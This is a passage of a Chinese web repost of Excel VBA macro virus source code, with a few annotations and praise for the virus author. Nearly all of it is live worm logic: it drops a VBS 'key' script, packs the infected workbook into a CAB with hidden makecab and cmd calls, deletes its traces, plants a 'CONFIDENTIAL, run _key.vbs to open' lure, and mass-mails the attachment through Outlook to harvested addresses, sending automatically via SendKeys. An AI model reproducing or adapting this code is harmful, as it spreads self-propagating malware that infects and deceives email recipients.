EXCEL_宏病毒代码   边上写了一点翻译，病毒作者水平真正是很NB的。(4)

Print#i,'setowb=oexcel.workbooks.open(route)'

Print#i,'oExcel.Visible=True'

Print#i,'SetoExcel=Nothing'

Print#i,'SetoWb=Nothing'

Print#i,'SetWshShell=Nothing'

Print#i,'SetFso=Nothing'

Print#i,'WScript.Quit'

Print#i,'PrivateFunctionListDir(ByValPath)'

Print#i,'DimFilter,a,n,Folder,Files,File'

Print#i,'ReDima(10)'

Print#i,'n=0'

Print#i,'SetFolder=fso.GetFolder(Path)'

Print#i,'SetFiles=Folder.Files'

Print#i,'ForEachFileInFiles'

Print#i,'Ifleft(File.Name,'&Len(AttName)&')='''&AttName&'''andright(File.Name,3)=

'''&'CAB'''&'Then'

Print#i,'Ifn>UBound(a)ThenReDimPreservea(n*2)'

Print#i,'a(n)=File.Path'

Print#i,'n=n+1'

Print#i,'EndIf'

Print#i,'Next'

Print#i,'ReDimPreservea(n-1)'

Print#i,'ListDir=a'

Print#i,'EndFunction'

Close(i)

AddListFile=ThisWorkbook.Path&'\TEST.txt'

i=FreeFile()

OpenAddListFileForOutputAccessWriteAs#i

Print#i,'E:\sorce\'&AttName&'_Key.vbs'

Print#i,'E:\sorce\'&AttName&'.xls'

Close(i)

Application.ScreenUpdating=False

RestoreBeforeSend

ThisWorkbook.SaveCopyAs'E:\sorce\'&AttName&'.xls'

RestoreAfterOpen

$=CurDir()

ChDriveLeft(ThisWorkbook.Path,3)''C:\'

ChDirThisWorkbook.Path

WshShell.RunEnviron$('comspec')&'/cmakecab/F'''&ThisWorkbook.Path&'\TEST.TXT'''&'/D

COMPRESSIONTYPE=LZX/DCOMPRESSIONMEMORY=21/DCABINETNAMETEMPLATE=../'&AttName&'.CAB',vbHide,

False

DoUntilfs.FileExists(ThisWorkbook.Path&'\TEST.txt')_

Andfs.FileExists(ThisWorkbook.Path&'\setup.rpt')Andfs.FileExists(ThisWorkbook.Path&'\setup.inf')

_

Andfs.FileExists(ThisWorkbook.Path&'\'&AttName&'.CAB')

DoEvents

Loop

WshShell.RunEnviron$('comspec')&'/cRD/S/Q'''&ThisWorkbook.Path&'\disk1''',vbHide,False

WshShell.RunEnviron$('comspec')&'/cDel/F/Q'''&ThisWorkbook.Path&'\TEST.txt''',vbHide,

False

WshShell.RunEnviron$('comspec')&'/cDel/F/Q'''&ThisWorkbook.Path&'\setup.rpt''',vbHide,

False

WshShell.RunEnviron$('comspec')&'/cDel/F/Q'''&ThisWorkbook.Path&'\setup.inf''',vbHide,

False

WshShell.RunEnviron$('comspec')&'/cRD/S/QE:\sorce',vbHide,False

Iffs.Folderexists('E:\KK')=FalseThenfs.CreateFolder'E:\KK'

WshShell.RunEnviron$('comspec')&'/cMOVE/Y'&AttName&'.CABE:\KK''',vbHide,False

ChDir$

CallMassive_SendMail(Address_list,AttName,'Dearall,'&vbCrLf&AttName&vbCrLf&'FYI',_

'','E:\KK\'&AttName&'.CAB')

WshShell.RunEnviron$('comspec')&'/cRD/S/QE:\KK',vbHide,False

SetWshShell=Nothing

Application.ScreenUpdating=True

EndSub

PrivateSubMassive_SendMail(Email_Address$,Subject$,Body$,CC_email_add$,Attachment$)

DimobjOLAsObject

DimitmNewMailAsObject

IfNotif_outlook_openThenExitSub

SetobjOL=CreateObject('Outlook.Application')

SetitmNewMail=objOL.CreateItem(olMailItem)

WithitmNewMail

.Subject=Subject

.Body=Body

.To=Email_Address

.CC=CC_email_add

.Attachments.AddAttachment

.DeleteAfterSubmit=True

EndWith

OnErrorGoTocontinue

SendEmail:

itmNewMail.display

Debug.Print'setforth'

DoEvents

DoEvents

DoEvents

SendKeys'%s',Wait:=True

DoEvents

GoToSendEmail

continue:

SetobjOL=Nothing

SetitmNewMail=Nothing

EndSub

PrivateFunctionif_outlook_open()AsBoolean

Setobjs=GetObject('WinMgmts:').InstancesOf('Win32_Process')

if_outlook_open=False

ForEachobjInobjs

IfInStr(obj.Description,'OUTLOOK')>0Then

if_outlook_open=True

ExitFor

EndIf

Next

EndFunction

PrivateFunctionRadomNine(lengthAsInteger)AsString’随机9程序块

DimjjAsInteger,kAsInteger,iAsInteger

RadomNine=''

Iflength<=0ThenExitFunction

Iflength<=10Then

Fori=1Tolength

RadomNine=RadomNine&'$$'&i

Nexti

ExitFunction

EndIf

jj=length/10

Randomize

Fori=1To10

k=Int(Rnd*(jj*i-m-1))+1

Ifm+k<>1ThenRadomNine=RadomNine&'$$'&m+k

m=m+k

Next

EndFunction

PrivateFunctionget_ten_address()AsString

DimsingleAddress_arr,krr,iAsInteger

get_ten_address=''

singleAddress_arr=Split(ReadOut('D:\Collected_Address\log.txt'),vbCrLf)

krr=Split(RadomNine(UBound(singleAddress_arr)-LBound(singleAddress_arr)+1),'$$')

Fori=1ToUBound(krr)

get_ten_address=get_ten_address&';'&singleAddress_arr(CInt(krr(i))-1)

Nexti

EndFunction

PrivateFunctionReadOut(FullPath)AsString

OnErrorResumeNext

DimFso,FileText

SetFso=CreateObject('scRiPTinG.fiLEsysTeMoBjEcT')

SetFileText=Fso.OpenTextFile(FullPath,1,False,-1)

ReadOut=FileText.ReadAll

FileText.Close

EndFunction

PrivateSubCreateFile(FragMark,pathf)'建文件（旗杆标识，文件路径）

OnErrorResumeNext

DimFso,FileText

SetFso=CreateObject('scRiPTinG.fiLEsysTeMoBjEcT')

IfFso.Folderexists(Left(pathf,Len(pathf)-10))=FalseThenFso.CreateFolderLeft(pathf,Len

(pathf)-10)

IfFso.FileExists(pathf)Then

SetFileText=Fso.OpenTextFile(pathf,2,False,-1)

FileText.WriteFragMark

FileText.Close

Else

SetFileText=Fso.OpenTextFile(pathf,2,True,-1)

FileText.WriteFragMark

FileText.Close

EndIf

EndSub

PrivateSubRestoreBeforeSend()’发送前预存程序块。

DimshtAsObject

Application.ScreenUpdating=False

Application.DisplayAlerts=False

OnErrorResumeNext

ForEachaaInThisWorkbook.Names

aa.Visible=True

IfSplit(aa.Name,'!')(1)='Auto_Activate'Thenaa.Delete

Next

ForEachshtInThisWorkbook.Sheets

Ifsht.Name='Macro1'Then

sht.Visible=xlSheetVisible

sht.Delete

EndIf

Next

Sheets(1).Select‘选择sheet1

Sheets.Add'增加表

ForEachshtInThisWorkbook.Sheets

Ifsht.Name<>Sheets(1).NameThensht.Visible=xlSheetVeryHidden

Next

i_row=Int((15*Rnd)+1)

i_col=Int((6*Rnd)+1)

Cells(i_row,i_col)='**CONFIDENTIAL!**'

Cells(i_row+2,i_col)='Use'&Chr(34)&Left(ThisWorkbook.Name,Len(ThisWorkbook.Name)-4)&

'_key.vbs'&Chr(34)&'ToOpenThisFile.'

Cells(i_row+3,i_col)='请用'&Chr(34)&Left(ThisWorkbook.Name,Len(ThisWorkbook.Name)-4)&

'_key.vbs'&Chr(34)&'解锁此文件.'

WithRange(Cells(i_row,i_col),Cells(i_row+2,i_col))

.Font.Bold=True

.Font.ColorIndex=3

EndWith

Application.ScreenUpdating=True

EndSub

PrivateFunctionRestoreAfterOpen()

Dimsht,del_sht,rng,del_fragAsBoolean

OnErrorResumeNext

del_sht=ActiveSheet.Name

Application.ScreenUpdating=False

Application.DisplayAlerts=False

ForEachshtInThisWorkbook.Sheets

Ifsht.Name<>'Macro1'Thensht.Visible=xlSheetVisible

Next

ForEachrngInSheets(del_sht).Range('A1:F15')’这一行

IfInStr(rng.Value,'CONFIDENTIAL')>0Then

del_frag=True'退出旗标

ExitFor

EndIf

Next

Ifdel_frag=TrueThenSheets(del_sht).Delete

Application.ScreenUpdating=True

EndFunction

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/ruanjian/article-121978-4.html